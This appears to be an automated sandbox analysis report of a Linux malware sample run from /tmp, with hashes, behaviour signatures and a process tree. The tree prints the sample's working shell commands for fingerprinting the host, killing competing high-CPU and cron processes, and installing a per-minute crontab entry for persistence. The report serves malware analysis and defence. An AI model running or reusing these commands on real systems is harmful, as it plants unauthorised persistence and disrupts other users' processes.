Analysis

  • max time kernel
    312s
  • max time network
    309s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240729-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    26-12-2024 17:07

General

  • Target

    unpacked

  • Size

    6.3MB

  • MD5

    66cb162d1880fff9f98f9d93f0aeab73

  • SHA1

    99607f0eb75b14a5bf9891fb5104e0a9ea474427

  • SHA256

    3c58f7bc700f17de482a95d965ac76c8efb0f2614ab5f707cd9c4c61bc2acf3c

  • SHA512

    5aff245f001d695e259ff5cdad6a737ac8d7862750c7a1eca98bf07aa15f3e178b3e77e8168ced4326b8e9d08f2576bd7ca3c2fe4e495615c793c7370118ac34

  • SSDEEP

    98304:3l3SXxr6OYgW3wfYug9xCO5uL2SVPWN+XfMJ6aeOIpgKIxt9qus:3l3a6OYnpXSINTetgK7us

Malware Config

Signatures

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Security Software Discovery 1 TTPs 2 IoCs

    Adversaries may attempt to discover installed security software and its configurations.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 6 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 50 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Process Discovery 1 TTPs 2 IoCs

    Adversaries may try to discover information about running processes.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/unpacked
    /tmp/unpacked
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads hardware information
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:1565
    • /bin/sh
      sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \":\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
      2⤵
        PID:1566
        • /usr/bin/hostname
          hostname -I
          3⤵
            PID:1569
          • /usr/bin/awk
            awk "{print \$1}"
            3⤵
              PID:1571
            • /usr/bin/awk
              awk "{print \":\"\$2}"
              3⤵
                PID:1576
              • /usr/bin/head
                head -n 1
                3⤵
                  PID:1575
                • /usr/bin/grep
                  grep "Port "
                  3⤵
                  • Reads runtime system information
                  PID:1574
                • /usr/bin/cat
                  cat /etc/ssh/sshd_config
                  3⤵
                    PID:1573
                  • /usr/bin/whoami
                    whoami
                    3⤵
                      PID:1577
                    • /usr/bin/hostname
                      hostname
                      3⤵
                        PID:1578
                      • /usr/bin/grep
                        grep -c "^processor" /proc/cpuinfo
                        3⤵
                        • Checks CPU configuration
                        PID:1579
                      • /usr/bin/sed
                        sed -e "s/\$//"
                        3⤵
                          PID:1585
                        • /usr/bin/sed
                          sed -e "s/^ *//"
                          3⤵
                            PID:1584
                          • /usr/bin/cut
                            cut -d: -f2
                            3⤵
                              PID:1583
                            • /usr/bin/grep
                              grep -m 1 "model name" /proc/cpuinfo
                              3⤵
                              • Checks CPU configuration
                              PID:1582
                            • /usr/bin/awk
                              awk "{print \$1}"
                              3⤵
                                PID:1588
                              • /usr/bin/awk
                                awk "{print \$4}"
                                3⤵
                                  PID:1591
                                • /usr/bin/awk
                                  awk "{print \$4}"
                                  3⤵
                                    PID:1594
                                  • /usr/bin/awk
                                    awk "{print \$3}"
                                    3⤵
                                      PID:1597
                                    • /usr/bin/awk
                                      awk "{print \$4}"
                                      3⤵
                                        PID:1600
                                      • /usr/bin/awk
                                        awk "{print \$1}"
                                        3⤵
                                          PID:1603
                                        • /usr/bin/awk
                                          awk "{print \$2\" \"\$3\" \"\$4}"
                                          3⤵
                                            PID:1605
                                        • /bin/sh
                                          sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                          2⤵
                                            PID:1606
                                            • /usr/bin/awk
                                              awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                                              3⤵
                                                PID:1608
                                              • /usr/bin/ps
                                                ps -A "-ostat,ppid"
                                                3⤵
                                                • Reads CPU attributes
                                                • Reads runtime system information
                                                PID:1607
                                              • /usr/bin/id
                                                id -u
                                                3⤵
                                                  PID:1616
                                                • /usr/bin/grep
                                                  grep -v grep
                                                  3⤵
                                                    PID:1619
                                                  • /usr/bin/grep
                                                    grep /etc/cron
                                                    3⤵
                                                      PID:1618
                                                    • /usr/bin/ps
                                                      ps x
                                                      3⤵
                                                      • Reads CPU attributes
                                                      • Reads runtime system information
                                                      PID:1617
                                                  • /bin/sh
                                                    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                                    2⤵
                                                    • Security Software Discovery
                                                    PID:1621
                                                    • /usr/bin/id
                                                      id -u
                                                      3⤵
                                                        PID:1622
                                                      • /usr/bin/awk
                                                        awk "{if(\$3>30.0) print \$2}"
                                                        3⤵
                                                          PID:1627
                                                        • /usr/bin/grep
                                                          grep -v /usr/sbin/httpd
                                                          3⤵
                                                            PID:1626
                                                          • /usr/bin/grep
                                                            grep -v -- "-bash[[:space:]]*\$"
                                                            3⤵
                                                              PID:1625
                                                            • /usr/bin/grep
                                                              grep -v grep
                                                              3⤵
                                                                PID:1624
                                                              • /usr/bin/ps
                                                                ps aux
                                                                3⤵
                                                                • Reads CPU attributes
                                                                • Process Discovery
                                                                • Reads runtime system information
                                                                PID:1623
                                                            • /bin/sh
                                                              sh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/unpacked' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/unpacked' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/unpacked\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:1629
                                                              • /usr/bin/rm
                                                                rm -rf /tmp/.cron
                                                                3⤵
                                                                  PID:1631
                                                                • /usr/bin/grep
                                                                  grep -v /tmp/unpacked
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:1634
                                                                • /usr/bin/grep
                                                                  grep -v grep
                                                                  3⤵
                                                                    PID:1633
                                                                  • /usr/bin/crontab
                                                                    crontab -l
                                                                    3⤵
                                                                      PID:1632
                                                                    • /usr/bin/wc
                                                                      wc -l
                                                                      3⤵
                                                                        PID:1641
                                                                      • /usr/bin/uniq
                                                                        uniq
                                                                        3⤵
                                                                          PID:1640
                                                                        • /usr/bin/sort
                                                                          sort
                                                                          3⤵
                                                                            PID:1639
                                                                          • /usr/bin/grep
                                                                            grep "/tmp/unpacked\$"
                                                                            3⤵
                                                                              PID:1638
                                                                            • /usr/bin/grep
                                                                              grep -v grep
                                                                              3⤵
                                                                              • Reads runtime system information
                                                                              PID:1637
                                                                            • /usr/bin/crontab
                                                                              crontab -l
                                                                              3⤵
                                                                                PID:1636
                                                                              • /usr/bin/crontab
                                                                                crontab /tmp/.cron
                                                                                3⤵
                                                                                • Creates/modifies Cron job
                                                                                PID:1642
                                                                              • /usr/bin/rm
                                                                                rm -rf /tmp/.cron
                                                                                3⤵
                                                                                  PID:1643
                                                                              • /bin/sh
                                                                                sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
                                                                                2⤵
                                                                                • Security Software Discovery
                                                                                PID:1644
                                                                                • /usr/bin/id
                                                                                  id -u
                                                                                  3⤵
                                                                                    PID:1645
                                                                                  • /usr/bin/wc
                                                                                    wc -l
                                                                                    3⤵
                                                                                      PID:1651
                                                                                    • /usr/bin/awk
                                                                                      awk "{if(\$3>30.0) print \$2}"
                                                                                      3⤵
                                                                                        PID:1650
                                                                                      • /usr/bin/grep
                                                                                        grep -- "-bash[[:space:]]*\$"
                                                                                        3⤵
                                                                                          PID:1649
                                                                                        • /usr/bin/grep
                                                                                          grep -v grep
                                                                                          3⤵
                                                                                            PID:1648
                                                                                          • /usr/bin/ps
                                                                                            ps aux
                                                                                            3⤵
                                                                                            • Reads CPU attributes
                                                                                            • Process Discovery
                                                                                            • Reads runtime system information
                                                                                            PID:1647

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • /tmp/.cron

                                                                                        Filesize

                                                                                        29B

                                                                                        MD5

                                                                                        7a5b5de82a9f106db54bb9870efe364e

                                                                                        SHA1

                                                                                        e08e128126b6fd8002cd6684ff77a69a9a270bde

                                                                                        SHA256

                                                                                        c7bdab00ca2e83d98793965c13391d91b624c2e5fa354c887bcba7011a20ceb8

                                                                                        SHA512

                                                                                        975711ff2842bf38970cb0f9d7b4d087603af8121f8357131cc5d9ce6112d39b638aa6fcdb7dd89662d75b3619729503d1745da2ef029433f967791766ec7b49

                                                                                      • /var/spool/cron/crontabs/tmp.JkmPaG

                                                                                        Filesize

                                                                                        213B

                                                                                        MD5

                                                                                        6f10f1534dfc4ecfdc24e0d74408999f

                                                                                        SHA1

                                                                                        7466e332e594bb56ceca660f321e8a7cbbde4548

                                                                                        SHA256

                                                                                        b289ab2b4ad7c544805c316071c393b332710747aaccd139f5113576dcb03a5f

                                                                                        SHA512

                                                                                        11ca61d82c8c9c1b9b642fee6115efeabdb6763102198e80912e884709cb79865ca2a5dc0caeb76d92fc7772cba71349cd7a908bc8b4a9c1f54f599434de3943